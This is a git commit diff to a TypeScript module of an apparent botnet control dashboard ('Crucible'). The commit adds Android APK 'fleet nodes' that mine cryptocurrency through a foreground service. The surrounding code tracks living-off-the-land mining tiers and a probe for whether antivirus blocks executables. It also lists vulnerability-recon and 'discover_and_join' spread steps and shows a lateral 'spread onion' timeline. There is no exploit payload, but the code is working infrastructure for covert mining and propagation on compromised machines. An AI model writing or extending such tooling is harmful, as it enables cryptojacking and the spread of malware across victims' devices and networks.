Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { isAndroidPlatform, platformLabel } from './platform';
|
||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Mirrors agent/miner/environment_probe.go */
|
||||
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
|
||||
gpu?: boolean;
|
||||
av_blocks_exe?: boolean;
|
||||
webview2?: boolean;
|
||||
wifi?: boolean;
|
||||
battery?: boolean;
|
||||
foreground_service?: boolean;
|
||||
}
|
||||
|
||||
export interface StrategyReason {
|
||||
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
|
||||
'stratum_direct',
|
||||
] as const;
|
||||
|
||||
/** APK fleet-node mining path — foreground service then in-process CPU. */
|
||||
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
|
||||
|
||||
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
|
||||
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
|
||||
|
||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||
const DEFAULT_TRIPLE_DEPLOY = [
|
||||
'discover_and_join',
|
||||
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const probes: EnvironmentProbes = {};
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
|
||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||
}
|
||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
||||
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
if (p.includes('win') || p === 'windows') return 'Windows';
|
||||
return platform?.trim() || 'Unknown';
|
||||
function androidDesktopSkipped(): string[] {
|
||||
return DEFAULT_MINING_TIER_ORDER.filter(
|
||||
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
|
||||
);
|
||||
}
|
||||
|
||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||
if (isAndroidPlatform(agent.platform)) {
|
||||
const p = probes ?? {};
|
||||
return [
|
||||
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
|
||||
{ key: 'battery', label: 'Battery', ok: p.battery === true },
|
||||
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
|
||||
].filter((c) => c.ok || probes != null);
|
||||
}
|
||||
const p = probes ?? {};
|
||||
const chips: ProbeChip[] = [
|
||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||
@@ -309,6 +325,15 @@ function resolveMiningOrder(
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||
if (isAndroidPlatform(agent.platform)) {
|
||||
const order = diag?.tier_chain_order?.length
|
||||
? diag.tier_chain_order
|
||||
: [...ANDROID_MINING_TIER_ORDER];
|
||||
const skipped = diag?.tier_chain_skipped?.length
|
||||
? diag.tier_chain_skipped
|
||||
: androidDesktopSkipped();
|
||||
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
|
||||
}
|
||||
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
||||
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
|
||||
const pending = computePendingTiers(order, skipped, attempts);
|
||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||
|
||||
const spreadOrder =
|
||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
const spreadOrder = isAndroidPlatform(agent.platform)
|
||||
? []
|
||||
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
? policy.lotl_onion_tiers
|
||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||
|
||||
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
|
||||
if (agent.os_version) osParts.push(agent.os_version);
|
||||
if (agent.arch) osParts.push(agent.arch);
|
||||
|
||||
const miningOnion = isAndroidPlatform(agent.platform)
|
||||
? [
|
||||
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
|
||||
{
|
||||
index: ANDROID_MINING_TIER_ORDER.length + 1,
|
||||
tier: ANDROID_DESKTOP_SKIPPED_TIER,
|
||||
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
|
||||
status: 'skipped' as const,
|
||||
},
|
||||
]
|
||||
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
|
||||
|
||||
return {
|
||||
platformLabel: platformLabel(agent.platform),
|
||||
osLine: osParts.join(' · '),
|
||||
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
|
||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||
pendingTiers: pending,
|
||||
pendingLabels: pending.map(formatLotlTierLabel),
|
||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
|
||||
miningOnion,
|
||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||
index: i + 1,
|
||||
tier,
|
||||
|
||||
Reference in New Issue
Block a user